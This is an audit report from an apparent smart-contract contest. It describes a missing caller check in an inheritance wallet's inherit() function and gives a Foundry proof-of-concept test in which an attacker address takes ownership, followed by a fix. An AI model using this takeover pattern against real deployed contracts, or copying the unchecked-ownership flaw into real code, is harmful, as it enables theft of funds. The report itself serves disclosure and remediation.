Summary
When only one beneficiary is registered, the inherit()
function transfers complete ownership to the caller without verifying if they are the designated beneficiary.
Vulnerability Details
[Affected Code] (https://github.com/CodeHawks-Contests/2025-03-inheritable-smart-contract-wallet/blob/main/src/InheritanceManager.sol#L217-L229)
function inherit() external {
if (block.timestamp < getDeadline()) {
revert InactivityPeriodNotLongEnough();
}
@> if (beneficiaries.length == 1) {
@> owner = msg.sender;
_setDeadline();
} else if (beneficiaries.length > 1) {
isInherited = true;
} else {
revert InvalidBeneficiaries();
}
}
InheritanceManager:: inherit
is meant to make beneficiary the contract owner after certain time has been passed. It is allowed only when there is only one beneficiary.
However, currently it does not check the caller legitimacy. Which allows anybody to call it and take over the ownership, which breaks to core invariant of the contract allowing attacker to take out all the funds.
POC
In existing inheritance test suite add following test
pragma solidity 0.8.26;
import {Test, console} from "forge-std/Test.sol";
import {InheritanceManager} from "../src/InheritanceManager.sol";
import {ERC20Mock} from "@openzeppelin/contracts/mocks/token/ERC20Mock.sol";
contract InheritanceManagerTest is Test {
InheritanceManager im;
ERC20Mock usdc;
ERC20Mock weth;
address owner = makeAddr("owner");
address user1 = makeAddr("user1");
+ address attacker = makeAddr("attacker");
function setUp() public {
vm.prank(owner);
im = new InheritanceManager();
usdc = new ERC20Mock();
weth = new ERC20Mock();
}
+ function testUnauthorizedOwnershipTakeOver() public {
+ // Owner adds a legitimate beneficiary
+ vm.prank(owner);
+ im.addBeneficiery(user1);
+ // Advance time to enable inheritance
+ vm.warp(block.timestamp + 91 days);
+ // Attacker calls inherit instead of legitimate beneficiary
+ vm.prank(attacker);
+ im.inherit();
+ // Verify attacker is now the owner
+ assertEq(im.getOwner(), attacker, "Attacker should be able to take ownership");
+ }
When running forge test --mt testUnauthorizedOwnershipTakeOver
-vv It passed, which confirms the vulnerability.
Ran 1 test for test/InheritanceManagerTest.t.sol:InheritanceManagerTest
[PASS] testUnauthorizedOwnershipTakeover() (gas: 92452)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.13ms (487.88µs CPU time)
Impact
All funds will be drained by the attacker.
Tools Used
Foundry
Recommendations
Here is the recommendation to fix the issue.
+ error Unauthorized ();
function inherit() external {
if (block.timestamp < getDeadline()) {
revert InactivityPeriodNotLongEnough();
}
if (beneficiaries.length == 1) {
+ if(beneficiaries[0] != msg.sender){
+ revert Unauthorized();
+ }
owner = msg.sender;
_setDeadline();
} else if (beneficiaries.length > 1) {
isInherited = true;
} else {
revert InvalidBeneficiaries();
}
}